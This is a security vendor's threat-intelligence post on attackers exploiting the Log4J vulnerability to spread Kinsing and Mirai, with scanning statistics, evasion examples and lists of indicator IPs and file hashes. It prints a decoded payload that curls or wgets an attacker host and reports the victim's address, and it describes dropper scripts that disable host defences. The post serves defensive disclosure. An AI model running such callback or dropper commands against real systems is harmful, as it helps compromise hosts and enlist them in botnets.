Lacework Labs Identifies Log4J Attacks

Key Takeaways

CVE-2021-44228 is being adopted by opportunistic attackers.
Mirai and Kinsing are being distributed via this attack vector.

Overview

Lacework Labs is constantly monitoring for attackers adopting new vulnerabilities into their toolkits. Lacework Labs has identified opportunistic attackers leveraging the recent Log4J vulnerability (CVE-2021-44228). This vulnerability is being felt by every sector of the industry and is currently an evolving situation. Lacework Labs currently believes that some attackers are simply attempting to see what they have access to, while others are deploying malware against vulnerable hosts. Researchers are identifying ways to evade static rule detection and attackers are adopting this vulnerability into their arsenal of capabilities including the spreading of Mirai and Kinsing variants.

Observed Killchain – Reconnaissance

Widespread Log4J scanning on ports 80 & 8080 was observed against the majority of Lacework customer environments. The most aggressive of these is currently 45.155.205.233 (OOO Network of data-centers Selectel:49505) which was also logged in Lacework Labs honeypots. The top 10 offending hosts are shown in Figure 1.

Figure 1 – Top 10 Log4J Scanners

A large amount of the Log4J scanning also originated from Tor nodes. This is expected however there were trends in the observed ASNs. ASN 208294, “Cia Triad Security LLC” was the biggest source for individual scanners with 50 hosts from the same class C subnet 185.220.101.0/24. Figure 2 shows a breakdown of top Log4J scanning ASNs.

Figure 2 – Top ASNs

Observed Killchain – Gathering Vulnerable Hosts

Lacework Lab’s honeypots collected a single source IP of 45.155.205.233 throwing four unique base64 payloads at our honeypots. Each of these base64 encoded payloads, when decoded, would attempt to either curl or wget the attacker’s IP address followed by a unique port (ex: 5874) followed by the IP address of the victim machine. An example of this decoded payload can be seen below:

(curl -s &lt;attacker_ip&gt;:&lt;attacker_port&gt;/&lt;victim_ip&gt;:&lt;victim_port&gt; || wget -q -O- &lt;attacker_ip&gt;:&lt;attacker_port&gt;)

When curling the attacker’s IP address and port combination, Lacework Labs were returned an empty content page with a HTTP status code of 200. When querying the attacker’s IP on port 80, a standard Apache web page. Notably, no additional payloads were used in this particular observed attack, while others dropped additional payloads. The entire observed workflow is visualized in the image below.

Figure 3 – Workflow of Observed Log4J Attack

Lacework Labs identified this particular IP in association with a variety of other known CVEs (CVE-2017-9831, CVE-2018-20062, CVE-2019-17558 ), showing that attackers are adopting this vulnerability into their arsenal. The image below shows additional attack data paired with this particular IP along with VirusTotal output for this particular IP.

Figure 4 – Other Payloads from 45.155.205.233

Figure 5 – VirusTotal Rating for Offending IP

Observed Killchain – Dropping Kinsing & Mirai

Expanding on the killchain discussed above, Lacework Labs has identified additional payloads being executed through the Log4J vulnerability. Examining additional base64 payloads, a similar paradigm was identified with a wget or curl command paired with an IP address hosting a shell script. Upon obtaining these shell scripts, further payloads were identified. The payloads observed include kinsing and a Mirai variant.

Figure 6 – Downloading second-stage Payloads

The lh2.sh dropper script downloaded and executed kinsing as well as killing processes and disabling host defenses (AppArmor/iptables).

Figure 7 – Kinsing Script

The Mirai variant hosted at 62.210.130.250/web/admin/ contained 3 separate payloads for different architectures. Notably, the file x86_g was not stripped of symbols, therefore enabled easy triage and identification of DoS functions. These functions were linked to leaked Mirai source code.The image below shows the secondary payload that the Log4J base64 payload would call and execute.

Figure 8 – Second Stage Mirai Dropper

Figure 9 – unstripped binaries

Figure 10 – x86_g symbols

At the time of this blog post, these Mirai variants have very low detection rates on VirusTotal([1],[2],[3]) and can be seen in the images below.

We are continuing to monitor the situation and will update this blog as appropriate. Please follow Lacework Labs on LinkedIn and Twitter for more!

Figure 11 – VT x86

Figure 12 – VT x86_64

Figure 13 – VT x86_g

Observed Evasion – Changing the Payload

Within the honeypot data Lacework Labs observed an interesting evasion where the attacker was leveraging upper and lowercase reserved words to build the URL to fetch. The payload below translates to “ldap:// world80.log4j.binaryedge io/ callback”. When obtaining the “callback” payload, it was simply a text file with the word “monkeys”.

Figure 14 – payload evasion 1

Other researchers have also been identified scanning for this vulnerability as shown in the image below. The Ascii code for hex 7B and hex 7D are “{“ and “}” respectively.

Figure 15 – payload evasion 2

Several examples of evasion have appeared on Twitter and Github alike, highlighting that static signature detections around this particular exploit can be brittle.

Conclusion

Attackers are human. They need to test, and ship payloads to “customers” before they patch in order to be successful. In this mad rush to patch on the defender side, there’s also a rush to compromise on the attacker side. The opsec mistakes made along the way, such as failing to strip binaries of symbols gives the opportunity for defenders and researchers to write detections faster and share with the community at large.

Those running applications that leverage Log4J in their environments are advised to patch as soon as possible. For those leveraging the Log4J library internally, follow the Apache org’s official documentation on migrating to a newer version of Log4J.

The impact of this vulnerability is being felt industry wide and is an evolving story at the time of this blog. Many members of the InfoSec community have created lists of observed IPs attempting to exploit the Log4J vulnerability. These resources will be linked in the IoC Section below. As attackers begin to adopt the proof-of-concepts within their toolkits, log4j attacks will be a consistent theme with botnets aiming for low hanging and opportunistic attacks. Ensuring your environment is patched is critical to avoiding exploitation. For more content like this follow us on Twitter and LinkedIn!

Resources

IoCs – Observed Files and IPs Throwing Log4J

IPV4s	Context
89.249.63.3	Associated with Log4j Throwing Exploit
62.76.41.46	Associated with Log4j Throwing Exploit
61.19.25.207	Associated with Log4j Throwing Exploit
45.155.205.233	Associated with Log4j Throwing Exploit
45.137.21.9	Associated with Log4j Throwing Exploit
212.193.57.225	Associated with Log4j Throwing Exploit
195.19.192.26	Associated with Log4j Throwing Exploit
178.176.203.190	Associated with Log4j Throwing Exploit
170.210.45.163	Associated with Log4j Throwing Exploit
143.110.221.204	Associated with Log4j Throwing Exploit
109.237.96.124	Associated with Log4j Throwing Exploit

Filename	SHA256 Hash
lh.sh	3f6120ca0ff7cf6389ce392d4018a5e40b131a083b071187bf54c900e2edad26
x86	776c341504769aa67af7efc5acc66c338dab5684a8579134d3f23165c7abcc00
x86_64	8052f5cc4dfa9a8b4f67280a746acbc099319b9391e3b495a27d08fb5f08db81
x86_g	2b794cc70cb33c9b3ae7384157ecb78b54aaddc72f4f9cf90b4a4ce4e6cf8984
kinsing	6e25ad03103a1a972b78c642bac09060fa79c460011dc5748cbb433cc459938b
lh2.sh	2fbc3b9421bc770831a724d9e467c7dbc220dc41c0ca21d33a45893be4ff82d4